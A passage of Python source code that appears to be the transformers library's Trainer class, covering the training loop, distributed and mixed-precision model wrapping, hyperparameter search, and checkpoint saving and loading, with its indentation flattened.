"eps": self.args.adam_epsilon,
}
optimizer_kwargs["lr"] = self.args.learning_rate
if self.sharded_ddp == ShardedDDPOption.SIMPLE:
self.optimizer = OSS(
params=optimizer_grouped_parameters,
optim=optimizer_cls,
**optimizer_kwargs,
)
else:
self.optimizer = optimizer_cls(optimizer_grouped_parameters, **optimizer_kwargs)
if self.lr_scheduler is None:
warmup_steps = (
self.args.warmup_steps
if self.args.warmup_steps > 0
else math.ceil(num_training_steps * self.args.warmup_ratio)
)
self.lr_scheduler = get_scheduler(
self.args.lr_scheduler_type,
self.optimizer,
num_warmup_steps=warmup_steps,
num_training_steps=num_training_steps,
)
def num_examples(self, dataloader: DataLoader) -> int:
"""
Helper to get number of samples in a :class:`~torch.utils.data.DataLoader` by accessing its dataset.
Will raise an exception if the underlying dataset dese not implement method :obj:`__len__`
"""
return len(dataloader.dataset)
def _hp_search_setup(self, trial: Union["optuna.Trial", Dict[str, Any]]):
""" HP search setup code """
self._trial = trial
if self.hp_search_backend is None or trial is None:
return
params = self.hp_space(trial) if self.hp_search_backend == HPSearchBackend.OPTUNA else trial
for key, value in params.items():
if not hasattr(self.args, key):
raise AttributeError(
f"Trying to set {key} in the hyperparameter search but there is no corresponding field in `TrainingArguments`."
)
old_attr = getattr(self.args, key, None)
# Casting value to the proper type
if old_attr is not None:
value = type(old_attr)(value)
setattr(self.args, key, value)
if self.hp_search_backend == HPSearchBackend.OPTUNA:
logger.info("Trial:", trial.params)
def _report_to_hp_search(
self, trial: Union["optuna.Trial", Dict[str, Any]], epoch: int, metrics: Dict[str, float]
):
if self.hp_search_backend is None or trial is None:
return
self.objective = self.compute_objective(metrics.copy())
if self.hp_search_backend == HPSearchBackend.OPTUNA:
import optuna
trial.report(self.objective, epoch)
if trial.should_prune():
raise optuna.TrialPruned()
elif self.hp_search_backend == HPSearchBackend.RAY:
from ray import tune
if self.control.should_save:
self._tune_save_checkpoint()
tune.report(objective=self.objective, **metrics)
def _tune_save_checkpoint(self):
from ray import tune
if not self.use_tune_checkpoints:
return
with tune.checkpoint_dir(step=self.state.global_step) as checkpoint_dir:
output_dir = os.path.join(checkpoint_dir, f"{PREFIX_CHECKPOINT_DIR}-{self.state.global_step}")
self.save_model(output_dir)
if self.is_world_process_zero():
self.state.save_to_json(os.path.join(output_dir, "trainer_state.json"))
torch.save(self.optimizer.state_dict(), os.path.join(output_dir, "optimizer.pt"))
torch.save(self.lr_scheduler.state_dict(), os.path.join(output_dir, "scheduler.pt"))
def call_model_init(self, trial=None):
model_init_argcount = len(inspect.signature(self.model_init).parameters)
if model_init_argcount == 0:
model = self.model_init()
elif model_init_argcount == 1:
model = self.model_init(trial)
else:
raise RuntimeError("model_init should have 0 or 1 argument.")
if model is None:
raise RuntimeError("model_init should not return None.")
return model
def _wrap_model(self, model, training=True):
# already initialized its own DDP and AMP
if self.deepspeed:
return self.deepspeed
# train/eval could be run multiple-times - if already wrapped, don't re-wrap it again
if unwrap_model(model) is not model:
return model
# Mixed precision training with apex (torch < 1.6)
if self.use_apex and training:
model, self.optimizer = amp.initialize(model, self.optimizer, opt_level=self.args.fp16_opt_level)
# Multi-gpu training (should be after apex fp16 initialization)
if self.args.n_gpu > 1:
model = torch.nn.DataParallel(model)
# Note: in torch.distributed mode, there's no point in wrapping the model
# inside a DistributedDataParallel as we'll be under `no_grad` anyways.
if not training:
return model
# Distributed training (should be after apex fp16 initialization)
if self.sharded_ddp is not None:
# Sharded DDP!
if self.sharded_ddp == ShardedDDPOption.SIMPLE:
model = ShardedDDP(model, self.optimizer)
else:
mixed_precision = self.args.fp16
cpu_offload = ShardedDDPOption.OFFLOAD in self.args.sharded_ddp
zero_3 = self.sharded_ddp == ShardedDDPOption.ZERO_DP_3
# XXX: Breaking the self.model convention but I see no way around it for now.
if ShardedDDPOption.AUTO_WRAP in self.args.sharded_ddp:
model = auto_wrap(model)
self.model = model = FullyShardedDDP(
model,
mixed_precision=mixed_precision,
reshard_after_forward=zero_3,
cpu_offload=cpu_offload,
).to(self.args.device)
elif is_sagemaker_distributed_available():
model = DDP(model, device_ids=[dist.get_local_rank()], broadcast_buffers=False)
elif self.args.local_rank != -1:
if self.args.ddp_find_unused_parameters is not None:
find_unused_parameters = self.args.ddp_find_unused_parameters
elif isinstance(model, PreTrainedModel):
# find_unused_parameters breaks checkpointing as per
# https://github.com/huggingface/transformers/pull/4659#issuecomment-643356021
find_unused_parameters = not getattr(model.config, "gradient_checkpointing", False)
else:
find_unused_parameters = True
model = torch.nn.parallel.DistributedDataParallel(
model,
device_ids=[self.args.local_rank],
output_device=self.args.local_rank,
find_unused_parameters=find_unused_parameters,
)
return model
def train(
self,
resume_from_checkpoint: Optional[Union[str, bool]] = None,
trial: Union["optuna.Trial", Dict[str, Any]] = None,
**kwargs,
):
"""
Main training entry point.
Args:
resume_from_checkpoint (:obj:`str` or :obj:`bool`, `optional`):
If a :obj:`str`, local path to a saved checkpoint as saved by a previous instance of
:class:`~transformers.Trainer`. If a :obj:`bool` and equals `True`, load the last checkpoint in
`args.output_dir` as saved by a previous instance of :class:`~transformers.Trainer`. If present,
training will resume from the model/optimizer/scheduler states loaded here.
trial (:obj:`optuna.Trial` or :obj:`Dict[str, Any]`, `optional`):
The trial run or the hyperparameter dictionary for hyperparameter search.
kwargs:
Additional keyword arguments used to hide deprecated arguments
"""
# memory metrics - must set up as early as possible
self._memory_tracker.start()
self.is_in_train = True
if "model_path" in kwargs:
resume_from_checkpoint = kwargs.pop("model_path")
warnings.warn(
"`model_path` is deprecated and will be removed in a future version. Use `resume_from_checkpoint` "
"instead.",
FutureWarning,
)
if len(kwargs) > 0:
raise TypeError(f"train() received got unexpected keyword arguments: {", ".join(list(kwargs.keys()))}.")
# This might change the seed so needs to run first.
self._hp_search_setup(trial)
# Model re-init
model_reloaded = False
if self.model_init is not None:
# Seed must be set before instantiating the model when using model_init.
set_seed(self.args.seed)
self.model = self.call_model_init(trial)
model_reloaded = True
# Reinitializes optimizer and scheduler
self.optimizer, self.lr_scheduler = None, None
# Load potential model checkpoint
if isinstance(resume_from_checkpoint, bool) and resume_from_checkpoint:
resume_from_checkpoint = get_last_checkpoint(self.args.output_dir)
if resume_from_checkpoint is None:
raise ValueError(f"No valid checkpoint found in output directory ({self.args.output_dir})")
if resume_from_checkpoint is not None and os.path.isfile(os.path.join(resume_from_checkpoint, WEIGHTS_NAME)):
logger.info(f"Loading model from {resume_from_checkpoint}).")
if isinstance(self.model, PreTrainedModel):
self.model = self.model.from_pretrained(resume_from_checkpoint)
model_reloaded = True
else:
state_dict = torch.load(os.path.join(resume_from_checkpoint, WEIGHTS_NAME))
self.model.load_state_dict(state_dict)
# If model was re-initialized, put it on the right device and update self.model_wrapped
if model_reloaded:
if self.place_model_on_device:
self.model = self.model.to(self.args.device)
self.model_wrapped = self.model
# Keeping track whether we can can len() on the dataset or not
train_dataset_is_sized = isinstance(self.train_dataset, collections.abc.Sized)
# Data loader and number of training steps
train_dataloader = self.get_train_dataloader()
# Setting up training control variables:
# number of training epochs: num_train_epochs
# number of training steps per epoch: num_update_steps_per_epoch
# total number of training steps to execute: max_steps
if train_dataset_is_sized:
num_update_steps_per_epoch = len(train_dataloader) // self.args.gradient_accumulation_steps
num_update_steps_per_epoch = max(num_update_steps_per_epoch, 1)
if self.args.max_steps > 0:
max_steps = self.args.max_steps
num_train_epochs = self.args.max_steps // num_update_steps_per_epoch + int(
self.args.max_steps % num_update_steps_per_epoch > 0
)
else:
max_steps = math.ceil(self.args.num_train_epochs * num_update_steps_per_epoch)
num_train_epochs = math.ceil(self.args.num_train_epochs)
else:
# see __init__. max_steps is set when the dataset has no __len__
max_steps = self.args.max_steps
num_train_epochs = 1
num_update_steps_per_epoch = max_steps
delay_optimizer_creation = self.sharded_ddp is not None and self.sharded_ddp != ShardedDDPOption.SIMPLE
if self.args.deepspeed:
model, optimizer, lr_scheduler = init_deepspeed(self, num_training_steps=max_steps)
self.model = model.module
self.model_wrapped = model # will get further wrapped in DDP
self.deepspeed = model # DeepSpeedEngine object
self.optimizer = optimizer
self.lr_scheduler = lr_scheduler
elif not delay_optimizer_creation:
self.create_optimizer_and_scheduler(num_training_steps=max_steps)
self.state = TrainerState()
self.state.is_hyper_param_search = trial is not None
model = self._wrap_model(self.model_wrapped)
# for the rest of this function `model` is the outside model, whether it was wrapped or not
if model is not self.model:
self.model_wrapped = model
if delay_optimizer_creation:
self.create_optimizer_and_scheduler(num_training_steps=max_steps)
# Check if saved optimizer or scheduler states exist
self._load_optimizer_and_scheduler(resume_from_checkpoint)
# important: at this point:
# self.model is the Transformers Model
# self.model_wrapped is DDP(Transformers Model), Deepspeed(Transformers Model), etc.
# Train!
if is_torch_tpu_available():
world_size = xm.xrt_world_size()
elif self.args.local_rank != -1:
world_size = dist.get_world_size()
else:
world_size = 1
total_train_batch_size = self.args.train_batch_size * self.args.gradient_accumulation_steps * world_size
num_examples = (
self.num_examples(train_dataloader)
if train_dataset_is_sized
else total_train_batch_size * self.args.max_steps
)
logger.info("***** Running training *****")
logger.info(f" Num examples = {num_examples}")
logger.info(f" Num Epochs = {num_train_epochs}")
logger.info(f" Instantaneous batch size per device = {self.args.per_device_train_batch_size}")
logger.info(f" Total train batch size (w. parallel, distributed & accumulation) = {total_train_batch_size}")
logger.info(f" Gradient Accumulation steps = {self.args.gradient_accumulation_steps}")
logger.info(f" Total optimization steps = {max_steps}")
self.state.epoch = 0
start_time = time.time()
epochs_trained = 0
steps_trained_in_current_epoch = 0
# Check if continuing training from a checkpoint
if resume_from_checkpoint is not None and os.path.isfile(
os.path.join(resume_from_checkpoint, "trainer_state.json")
):
self.state = TrainerState.load_from_json(os.path.join(resume_from_checkpoint, "trainer_state.json"))
epochs_trained = self.state.global_step // num_update_steps_per_epoch
if not self.args.ignore_data_skip:
steps_trained_in_current_epoch = self.state.global_step % (num_update_steps_per_epoch)
steps_trained_in_current_epoch *= self.args.gradient_accumulation_steps
else:
steps_trained_in_current_epoch = 0
logger.info(" Continuing training from checkpoint, will skip to saved global_step")
logger.info(f" Continuing training from epoch {epochs_trained}")
logger.info(f" Continuing training from global step {self.state.global_step}")
if not self.args.ignore_data_skip:
logger.info(
f" Will skip the first {epochs_trained} epochs then the first {steps_trained_in_current_epoch} "
"batches in the first epoch."
)
# Update the references
self.callback_handler.model = self.model
self.callback_handler.optimizer = self.optimizer
self.callback_handler.lr_scheduler = self.lr_scheduler
self.callback_handler.train_dataloader = train_dataloader
self.state.trial_name = self.hp_name(trial) if self.hp_name is not None else None
self.state.trial_params = hp_params(trial) if trial is not None else None
# This should be the same if the state has been saved but in case the training arguments changed, it's safer
# to set this after the load.
self.state.max_steps = max_steps
self.state.num_train_epochs = num_train_epochs
self.state.is_local_process_zero = self.is_local_process_zero()
self.state.is_world_process_zero = self.is_world_process_zero()
# tr_loss is a tensor to avoid synchronization of TPUs through .item()
tr_loss = torch.tensor(0.0).to(self.args.device)
# _total_loss_scalar is updated everytime .item() has to be called on tr_loss and stores the sum of all losses
self._total_loss_scalar = 0.0
self._globalstep_last_logged = self.state.global_step
self._total_flos = self.state.total_flos
model.zero_grad()
self.control = self.callback_handler.on_train_begin(self.args, self.state, self.control)
# Skip the first epochs_trained epochs to get the random state of the dataloader at the right point.
if not self.args.ignore_data_skip:
for epoch in range(epochs_trained):
# We just need to begin an iteration to create the randomization of the sampler.
for _ in train_dataloader:
break
for epoch in range(epochs_trained, num_train_epochs):
if isinstance(train_dataloader, DataLoader) and isinstance(train_dataloader.sampler, DistributedSampler):
train_dataloader.sampler.set_epoch(epoch)
if is_torch_tpu_available():
parallel_loader = pl.ParallelLoader(train_dataloader, [self.args.device]).per_device_loader(
self.args.device
)
epoch_iterator = parallel_loader
else:
epoch_iterator = train_dataloader
# Reset the past mems state at the beginning of each epoch if necessary.
if self.args.past_index >= 0:
self._past = None
steps_in_epoch = (
len(epoch_iterator)
if train_dataset_is_sized
else self.args.max_steps * self.args.gradient_accumulation_steps
)
self.control = self.callback_handler.on_epoch_begin(self.args, self.state, self.control)
for step, inputs in enumerate(epoch_iterator):
# Skip past any already trained steps if resuming training
if steps_trained_in_current_epoch > 0:
steps_trained_in_current_epoch -= 1
continue
if (step + 1) % self.args.gradient_accumulation_steps == 0:
self.control = self.callback_handler.on_step_begin(self.args, self.state, self.control)
if (
((step + 1) % self.args.gradient_accumulation_steps != 0)
and self.args.local_rank != -1
and self.args._no_sync_in_gradient_accumulation
):
# Avoid unnecessary DDP synchronization since there will be no backward pass on this example.
with model.no_sync():
tr_loss += self.training_step(model, inputs)
else:
tr_loss += self.training_step(model, inputs)
self._total_flos += float(self.floating_point_ops(inputs))
# Optimizer step for deepspeed must be called on every step regardless of the value of gradient_accumulation_steps
if self.deepspeed:
self.deepspeed.step()
if (step + 1) % self.args.gradient_accumulation_steps == 0 or (
# last step in epoch but step is always smaller than gradient_accumulation_steps
steps_in_epoch <= self.args.gradient_accumulation_steps
and (step + 1) == steps_in_epoch
):
# Gradient clipping
if self.args.max_grad_norm is not None and self.args.max_grad_norm > 0 and not self.deepspeed:
# deepspeed does its own clipping
if self.use_amp:
# AMP: gradients need unscaling
self.scaler.unscale_(self.optimizer)
if hasattr(self.optimizer, "clip_grad_norm"):
# Some optimizers (like the sharded optimizer) have a specific way to do gradient clipping
self.optimizer.clip_grad_norm(self.args.max_grad_norm)
elif hasattr(model, "clip_grad_norm_"):
# Some models (like FullyShardedDDP) have a specific way to do gradient clipping
model.clip_grad_norm_(self.args.max_grad_norm)
else:
# Revert to normal clipping otherwise, handling Apex or full precision
torch.nn.utils.clip_grad_norm_(
amp.master_params(self.optimizer) if self.use_apex else model.parameters(),
self.args.max_grad_norm,
)
# Optimizer step
if self.deepspeed:
pass # called outside the loop
elif is_torch_tpu_available():
xm.optimizer_step(self.optimizer)
elif self.use_amp:
self.scaler.step(self.optimizer)
self.scaler.update()
else:
self.optimizer.step()
if not self.deepspeed:
self.lr_scheduler.step()
model.zero_grad()
self.state.global_step += 1
self.state.epoch = epoch + (step + 1) / steps_in_epoch
self.control = self.callback_handler.on_step_end(self.args, self.state, self.control)
self._maybe_log_save_evaluate(tr_loss, model, trial, epoch)
if self.control.should_epoch_stop or self.control.should_training_stop:
break
self.control = self.callback_handler.on_epoch_end(self.args, self.state, self.control)
self._maybe_log_save_evaluate(tr_loss, model, trial, epoch)
if self.args.tpu_metrics_debug or self.args.debug:
if is_torch_tpu_available():
# tpu-comment: Logging debug metrics for PyTorch/XLA (compile, execute times, ops, etc.)
xm.master_print(met.metrics_report())
else:
logger.warning(
"You enabled PyTorch/XLA debug metrics but you don't have a TPU "
"configured. Check your training configuration if this is unexpected."
)
if self.control.should_training_stop:
break
if self.args.past_index and hasattr(self, "_past"):
# Clean the state at the end of training
delattr(self, "_past")
logger.info("\n\nTraining completed. Do not forget to share your model on huggingface.co/models =)\n\n")
if self.args.load_best_model_at_end and self.state.best_model_checkpoint is not None:
# Wait for everyone to get here so we are sur the model has been saved by process 0.
if is_torch_tpu_available():
xm.rendezvous("load_best_model_at_end")
elif self.args.local_rank != -1:
dist.barrier()
logger.info(
f"Loading best model from {self.state.best_model_checkpoint} (score: {self.state.best_metric})."
)
if isinstance(self.model, PreTrainedModel):
self.model = self.model.from_pretrained(self.state.best_model_checkpoint)
if self.place_model_on_device:
self.model = self.model.to(self.args.device)
else:
state_dict = torch.load(os.path.join(self.state.best_model_checkpoint, WEIGHTS_NAME))
self.model.load_state_dict(state_dict)
if self.deepspeed:
self.deepspeed.load_checkpoint(
self.state.best_model_checkpoint, load_optimizer_states=False, load_lr_scheduler_states=False
)
metrics = speed_metrics("train", start_time, self.state.max_steps)
if self._total_flos is not None:
self.store_flos()
metrics["total_flos"] = self.state.total_flos
self.log(metrics)
self.control = self.callback_handler.on_train_end(self.args, self.state, self.control)
# add remaining tr_loss
self._total_loss_scalar += tr_loss.item()
if self.deepspeed:
# free up any memory that might be useful for eval
self.deepspeed = None
self.optimizer = None
self.lr_scheduler = None
self.model_wrapped = self.model
gc.collect() # force memory release
# to restore normal behavior outside of train replay the place_model_on_device logic w/o deepspeed
self.place_model_on_device = self.args.place_model_on_device
if self.is_model_parallel:
self.place_model_on_device = False
self.is_in_train = False
self._memory_tracker.stop_and_update_metrics(metrics)
return TrainOutput(self.state.global_step, self._total_loss_scalar / self.state.global_step, metrics)
def _maybe_log_save_evaluate(self, tr_loss, model, trial, epoch):
if self.control.should_log:
logs: Dict[str, float] = {}
tr_loss_scalar = tr_loss.item()
# reset tr_loss to zero
tr_loss -= tr_loss
logs["loss"] = round(tr_loss_scalar / (self.state.global_step - self._globalstep_last_logged), 4)
logs["learning_rate"] = self._get_learning_rate()
self._total_loss_scalar += tr_loss_scalar
self._globalstep_last_logged = self.state.global_step
self.log(logs)
metrics = None
if self.control.should_evaluate:
metrics = self.evaluate()
self._report_to_hp_search(trial, epoch, metrics)
if self.control.should_save:
self._save_checkpoint(model, trial, metrics=metrics)
self.control = self.callback_handler.on_save(self.args, self.state, self.control)
def _save_checkpoint(self, model, trial, metrics=None):
# In all cases, including ddp/dp/deepspeed, self.model is always a reference to the model we
# want to save except FullyShardedDDP.
# assert unwrap_model(model) is self.model, "internal model should be a reference to self.model"
# Save model checkpoint
checkpoint_folder = f"{PREFIX_CHECKPOINT_DIR}-{self.state.global_step}"
if self.hp_search_backend is not None and trial is not None:
if self.hp_search_backend == HPSearchBackend.OPTUNA:
run_id = trial.number
else:
from ray import tune
run_id = tune.get_trial_id()
run_name = self.hp_name(trial) if self.hp_name is not None else f"run-{run_id}"
run_dir = os.path.join(self.args.output_dir, run_name)
else:
run_dir = self.args.output_dir
self.store_flos()
output_dir = os.path.join(run_dir, checkpoint_folder)
self.save_model(output_dir)
if self.deepspeed:
self.deepspeed.save_checkpoint(output_dir)
# Save optimizer and scheduler
if self.sharded_ddp == ShardedDDPOption.SIMPLE:
self.optimizer.consolidate_state_dict()
if is_torch_tpu_available():
xm.rendezvous("saving_optimizer_states")
xm.save(self.optimizer.state_dict(), os.path.join(output_dir, "optimizer.pt"))
with warnings.catch_warnings(record=True) as caught_warnings:
xm.save(self.lr_scheduler.state_dict(), os.path.join(output_dir, "scheduler.pt"))
reissue_pt_warnings(caught_warnings)
elif self.is_world_process_zero() and not self.deepspeed:
# deepspeed.save_checkpoint above saves model/optim/sched
torch.save(self.optimizer.state_dict(), os.path.join(output_dir, "optimizer.pt"))
with warnings.catch_warnings(record=True) as caught_warnings:
torch.save(self.lr_scheduler.state_dict(), os.path.join(output_dir, "scheduler.pt"))
reissue_pt_warnings(caught_warnings)
# Determine the new best metric / best model checkpoint
if metrics is not None and self.args.metric_for_best_model is not None:
metric_to_check = self.args.metric_for_best_model
if not metric_to_check.startswith("eval_"):
metric_to_check = f"eval_{metric_to_check}"
metric_value = metrics[metric_to_check]
operator = np.greater if self.args.greater_is_better else np.less
if (
self.state.best_metric is None
or self.state.best_model_checkpoint is None
or operator(metric_value, self.state.best_metric)
):
self.state.best_metric = metric_value
self.state.best_model_checkpoint = output_dir
# Save the Trainer state
if self.is_world_process_zero():
self.state.save_to_json(os.path.join(output_dir, "trainer_state.json"))
# Maybe delete some older checkpoints.
if self.is_world_process_zero():
self._rotate_checkpoints(use_mtime=True, output_dir=run_dir)
def _load_optimizer_and_scheduler(self, checkpoint):
"""If optimizer and scheduler states exist, load them."""
if checkpoint is None:
return
if os.path.isfile(os.path.join(checkpoint, "optimizer.pt")) and os.path.isfile(
os.path.join(checkpoint, "scheduler.pt")
):
# Load in optimizer and scheduler states
if is_torch_tpu_available():
# On TPU we have to take some extra precautions to properly load the states on the right device.
optimizer_state = torch.load(os.path.join(checkpoint, "optimizer.pt"), map_location="cpu")
with warnings.catch_warnings(record=True) as caught_warnings:
lr_scheduler_state = torch.load(os.path.join(checkpoint, "scheduler.pt"), map_location="cpu")
reissue_pt_warnings(caught_warnings)
xm.send_cpu_data_to_device(optimizer_state, self.args.device)
xm.send_cpu_data_to_device(lr_scheduler_state, self.args.device)
self.optimizer.load_state_dict(optimizer_state)
self.lr_scheduler.load_state_dict(lr_scheduler_state)
else:
self.optimizer.load_state_dict(
torch.load(os.path.join(checkpoint, "optimizer.pt"), map_location=self.args.device)
)
with warnings.catch_warnings(record=True) as caught_warnings:
self.lr_scheduler.load_state_dict(torch.load(os.path.join(checkpoint, "scheduler.pt")))
reissue_pt_warnings(caught_warnings)
if self.deepspeed:
# Not sure how to check if there is a saved deepspeed checkpoint, but since it just return None if it fails to find a deepspeed checkpoint this is sort of a check-n-load function
self.deepspeed.load_checkpoint(checkpoint, load_optimizer_states=True, load_lr_scheduler_states=True)
def hyperparameter_search(
self,
hp_space: Optional[Callable[["optuna.Trial"], Dict[str, float]]] = None,
compute_objective: Optional[Callable[[Dict[str, float]], float]] = None,
n_trials: int = 20,
direction: str = "minimize",
backend: Optional[Union["str", HPSearchBackend]] = None,
hp_name: Optional[Callable[["optuna.Trial"], str]] = None,
**kwargs,
) -> BestRun:
"""
Launch an hyperparameter search using ``optuna`` or ``Ray Tune``. The optimized quantity is determined by
:obj:`compute_objective`, which defaults to a function returning the evaluation loss when no metric is
provided, the sum of all metrics otherwise.
.. warning::
To use this method, you need to have provided a ``model_init`` when initializing your
:class:`~transformers.Trainer`: we need to reinitialize the model at each new run. This is incompatible
with the ``optimizers`` argument, so you need to subclass :class:`~transformers.Trainer` and override the
method :meth:`~transformers.Trainer.create_optimizer_and_scheduler` for custom optimizer/scheduler.
Args:
hp_space (:obj:`Callable[["optuna.Trial"], Dict[str, float]]`, `optional`):
A function that defines the hyperparameter search space. Will default to
:func:`~transformers.trainer_utils.default_hp_space_optuna` or
:func:`~transformers.trainer_utils.default_hp_space_ray` depending on your backend.
compute_objective (:obj:`Callable[[Dict[str, float]], float]`, `optional`):
A function computing the objective to minimize or maximize from the metrics returned by the
:obj:`evaluate` method. Will default to :func:`~transformers.trainer_utils.default_compute_objective`.
n_trials (:obj:`int`, `optional`, defaults to 100):
The number of trial runs to test.
direction(:obj:`str`, `optional`, defaults to :obj:`"minimize"`):
Whether to optimize greater or lower objects. Can be :obj:`"minimize"` or :obj:`"maximize"`, you should
pick :obj:`"minimize"` when optimizing the validation loss, :obj:`"maximize"` when optimizing one or
several metrics.
backend(:obj:`str` or :class:`~transformers.training_utils.HPSearchBackend`, `optional`):
The backend to use for hyperparameter search. Will default to optuna or Ray Tune, depending on which
one is installed. If both are installed, will default to optuna.
kwargs:
Additional keyword arguments passed along to :obj:`optuna.create_study` or :obj:`ray.tune.run`. For
more information see:
- the documentation of `optuna.create_study
<https://optuna.readthedocs.io/en/stable/reference/generated/optuna.study.create_study.html>`__
- the documentation of `tune.run
<https://docs.ray.io/en/latest/tune/api_docs/execution.html#tune-run>`__
Returns:
:class:`transformers.trainer_utils.BestRun`: All the information about the best run.
"""
if backend is None:
backend = default_hp_search_backend()
if backend is None:
raise RuntimeError(
"At least one of optuna or ray should be installed. "
"To install optuna run `pip install optuna`."
"To install ray run `pip install ray[tune]`."
)
backend = HPSearchBackend(backend)
if backend == HPSearchBackend.OPTUNA and not is_optuna_available():
raise RuntimeError("You picked the optuna backend, but it is not installed. Use `pip install optuna`.")
if backend == HPSearchBackend.RAY and not is_ray_tune_available():
raise RuntimeError(
"You picked the Ray Tune backend, but it is not installed. Use `pip install 'ray[tune]'`."
)
self.hp_search_backend = backend
if self.model_init is None:
raise RuntimeError(
"To use hyperparameter search, you need to pass your model through a model_init function."
)
self.hp_space = default_hp_space[backend] if hp_space is None else hp_space
self.hp_name = hp_name
self.compute_objective = default_compute_objective if compute_objective is None else compute_objective
run_hp_search = run_hp_search_optuna if backend == HPSearchBackend.OPTUNA else run_hp_search_ray
best_run = run_hp_search(self, n_trials, direction, **kwargs)
self.hp_search_backend = None
return best_run
def log(self, logs: Dict[str, float]) -> None:
"""
Log :obj:`logs` on the various objects watching training.
Subclass and override this method to inject custom behavior.
Args:
logs (:obj:`Dict[str, float]`):
The values to log.
"""
if self.state.epoch is not None:
logs["epoch"] = round(self.state.epoch, 2)
output = {**logs, **{"step": self.state.global_step}}
self.state.log_history.append(output)
self.control = self.callback_handler.on_log(self.args, self.state, self.control, logs)
def _prepare_inputs(self, inputs: Dict[str, Union[torch.Tensor, Any]]) -> Dict[str, Union[torch.Tensor, Any]]:
"""
Prepare :obj:`inputs` before feeding them to the model, converting them to tensors if they are not already and
handling potential state.
"""
for k, v in inputs.items():
if isinstance(v, torch.Tensor):
inputs[k] = v.to(self.args.device)
if self.args.past_index >= 0 and self._past is not None:
inputs["mems"] = self._past
return inputs
def training_step(self, model: nn.Module, inputs: Dict[str, Union[torch.Tensor, Any]]) -> torch.Tensor:
"""
Perform a training step on a batch of inputs.
Subclass and override to inject custom behavior.
Args:
model (:obj:`nn.Module`):
The model to train.
inputs (:obj:`Dict[str, Union[torch.Tensor, Any]]`):
The inputs and targets of the model.
The dictionary will be unpacked before being fed to the model. Most models expect the targets under the
argument :obj:`labels`. Check your model's documentation for all accepted arguments.
Return:
:obj:`torch.Tensor`: The tensor with training loss on this batch.
"""
model.train()
inputs = self._prepare_inputs(inputs)
if self.use_amp:
with autocast():
loss = self.compute_loss(model, inputs)
else:
loss = self.compute_loss(model, inputs)
if self.args.n_gpu > 1:
loss = loss.mean() # mean() to average on multi-gpu parallel training
if self.args.gradient_accumulation_steps > 1 and not self.deepspeed:
# deepspeed handles loss scaling by gradient_accumulation_steps in its `backward`
loss = loss / self.args.gradient_accumulation_steps
if self.use_amp:
self.scaler.scale(loss).backward()
elif self.use_apex:
with amp.scale_loss(loss, self.optimizer) as scaled_loss:
scaled_loss.backward()
elif self.deepspeed:
# loss gets scaled under gradient_accumulation_steps in deepspeed
loss = self.deepspeed.backward(loss)
else:
loss.backward()
return loss.detach()
def compute_loss(self, model, inputs, return_outputs=False):
"""
How the loss is computed by Trainer. By default, all models return the loss in the first element.
Subclass and override for custom behavior.
"""
if self.label_smoother is not None and "labels" in inputs:
labels = inputs.pop("labels")
else:
labels = None
outputs = model(**inputs)
# Save past state if it exists
# TODO: this needs to be fixed and made cleaner later.
if self.args.past_index >= 0:
self._past = outputs[self.args.past_index]
if labels is not None:
loss = self.label_smoother(outputs, labels)
else:
# We don't use .loss here since the model may return tuples instead of ModelOutput.
loss = outputs["loss"] if isinstance(outputs, dict) else outputs[0]
return (loss, outputs) if return_outputs else loss
def is_local_process_zero(self) -> bool:
"""
Whether or not this process is the local (e.g., on one machine if training in a distributed fashion on several
machines) main process.
"""
if is_torch_tpu_available():
return xm.is_master_ordinal(local=True)
else:
return self.args.local_rank in [-1, 0]
def is_world_process_zero(self) -> bool:
"""
Whether or not this process is the global main process (when training in a distributed fashion on several
machines, this is only going to be :obj:`True` for one process).
"""
if is_torch_tpu_available():
return xm.is_master_ordinal(local=False)
else:
return self.args.local_rank == -1 or dist.get_rank() == 0
def save_model(self, output_dir: Optional[str] = None):
"""
Will save the model, so you can reload it using :obj:`from_pretrained()`.
Will only save from the main process.
"""
if is_torch_tpu_available():
self._save_tpu(output_dir)
elif (
ShardedDDPOption.ZERO_DP_2 in self.args.sharded_ddp or ShardedDDPOption.ZERO_DP_3 in self.args.sharded_ddp
):
state_dict = self.model.state_dict()
if self.is_world_process_zero():
self._save(output_dir, state_dict=state_dict)
elif self.is_world_process_zero():
self._save(output_dir)
def _save_tpu(self, output_dir: Optional[str] = None):
output_dir = output_dir if output_dir is not None else self.args.output_dir
logger.info("Saving model checkpoint to %s", output_dir)
if xm.is_master_ordinal():
os.makedirs(output_dir, exist_ok=True)
torch.save(self.args, os.path.join(output_dir, "training_args.bin"))
# Save a trained model and configuration using `save_pretrained()`.
# They can then be reloaded using `from_pretrained()`
xm.rendezvous("saving_checkpoint")
if not isinstance(self.model, PreTrainedModel):
if isinstance(unwrap_model(self.model), PreTrainedModel):
unwrap_model(self.model).save_pretrained(
output_dir,
save_config=self.is_world_process_zero(),
state_dict=self.model.state_dict(),
save_function=xm.save,
)
else:
logger.info("Trainer.model is not a `PreTrainedModel`, only saving its state dict.")
state_dict = self.model.state_dict()
xm.save(state_dict, os.path.join(output_dir, WEIGHTS_NAME))
else:
self.model.save_pretrained(output_dir, save_config=self.is_world_process_zero(), save_function=xm.save)
if self.tokenizer is not None and self.is_world_process_zero():
self.tokenizer.save_pretrained(output_dir)
def _save(self, output_dir: Optional[str] = None, state_dict=None):
# If we are executing this function, we are the process zero, so we don't check for that.
output_dir = output_dir if output_dir is not None else self.args.output_dir
os.makedirs(output_dir, exist_ok=True)
logger.info("Saving model checkpoint to %s", output_dir)
# Save a trained model and configuration using `save_pretrained()`.
# They can then be reloaded using `from_pretrained()`
if not isinstance(self.model, PreTrainedModel):
if isinstance(unwrap_model(self.model), PreTrainedModel):
if state_dict is None:
state_dict = self.model.state_dict()
unwrap_model(self.model).save_pretrained(output_dir, state_dict=state_dict)
else:
logger.info("Trainer.model is not a `PreTrainedModel`, only saving its state dict.")
if state_dict is None:
state_dict = self.model.state_dict()
torch.save(state_dict, os.path.join(output_dir, WEIGHTS_NAME))
else:
self.model.save_pretrained(output_dir, state_dict=state_dict)
if self.tokenizer is not None:
self.tokenizer.save_pretrained(output_dir)
# Good practice: save your training arguments together with the trained model
torch.save(self.args, os.path.join(output_dir, "training_args.bin"))
def store_flos(self):
# Storing the number of floating-point operations that went into the model
if self._total_flos is not None:
if self.args.local_rank != -1:
self.state.total_flos = distributed_broadcast_scalars([self._total_flos]).sum().item()
else:
self.state.total_flos = self._total_flos
def _sorted_checkpoints(
self, output_dir=None, checkpoint_prefix=PREFIX_CHECKPOINT_DIR, use_mtime=False
) -> List[str]:
ordering_and_checkpoint_path = []
